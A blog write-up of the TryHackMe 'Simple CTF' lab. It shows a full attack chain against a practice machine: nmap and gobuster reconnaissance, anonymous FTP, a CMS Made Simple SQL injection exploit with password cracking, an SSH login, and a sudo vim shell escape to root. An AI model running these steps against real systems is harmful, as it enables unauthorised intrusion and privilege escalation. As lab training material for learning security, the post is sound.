DEV Community

william-barros-costa
william-barros-costa

Posted on

TryHackMe - Simple CTF

Recon

We start with nmap scanning

sudo nmap -sV -A -T4 10.10.233.41 -oN nmap_results.txt
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can\'t get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.2.59.127
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 294269149ecad917988c27723acda923 (RSA)
|   256 9bd165075108006198de95ed3ae3811c (ECDSA)
|_  256 12651b61cf4de575fef4e8d46e102af6 (ED25519)

Enter fullscreen mode Exit fullscreen mode

We have a ftp, ssh and HTTP server. Let's try to find exploit options.

FTP

We know this server runs with version vsFTPd 3.0.3 so, we can see if there is any available exploit. We find a way to do Denial of Service, but we should explore further.
We enter the server using ftp 10.10.233.41, we login as anonymous and we see what's inside

ftp> ls
229 Entering Extended Passive Mode (|||47815|)
ftp: Can't connect to `10.10.233.41:47815': Connection timed out
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
226 Directory send OK.
ftp> cd pub
ftp> ls
229 Entering Extended Passive Mode (|||40149|)
ftp: Can't connect to `10.10.233.41:40149': Connection timed out
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt
226 Directory send OK.
ftp> get ForMitch.txt
ftp> exit
cat ForMitch.txt 
Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!
Enter fullscreen mode Exit fullscreen mode

With this message we have an opportunity to bruteforce

HTTP

Homepage

We access homepage and we see default Apache2 page
Apache2 default Page

Robots

We also verify the robots page and we strike gold as we are able to get the address /openemr-5_0_1_3 and the user mike

Robots.txt

There is nothing under 10.10.233.41/openemr-5_0_1_3 so we reached a dead-end exploring the website.

Directory listing

gobuster dir -t 64 -u http://10.10.233.41:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt
/simple               (Status: 301) [Size: 313] [--> http://10.10.233.41/simple/]
/server-status        (Status: 403) [Size: 300]
Enter fullscreen mode Exit fullscreen mode

Simple

We check the /simple page and verify it was built using CMS Made Simple v 2.2.8
Image description

We search for an exploit for this page and we find an SQL injection

Install Pip and Termcolor

curl https://bootstrap.pypa.io/pip/2.7/get-pip.py > get-pip.py
sudo python2 get-pip.py
sudo python2 -m pip install --upgrade pip
sudo python2 -m pip install --upgrade setuptools
sudo python2 -m pip install termcolor
sudo python2 46635.py -u http://10.10.233.41/simple --crack -w /usr/share/seclists/Passwords/Common-Credentials/best110.txt
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
Enter fullscreen mode Exit fullscreen mode

With the username and password we can now enter the machine using ssh

Accessing Machine

ssh mitch@10.10.233.41 -p 2222
# yes
# secret
cat user.txt
sudo -l
# Vim
sudo vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

Kanelao

Top comments (0)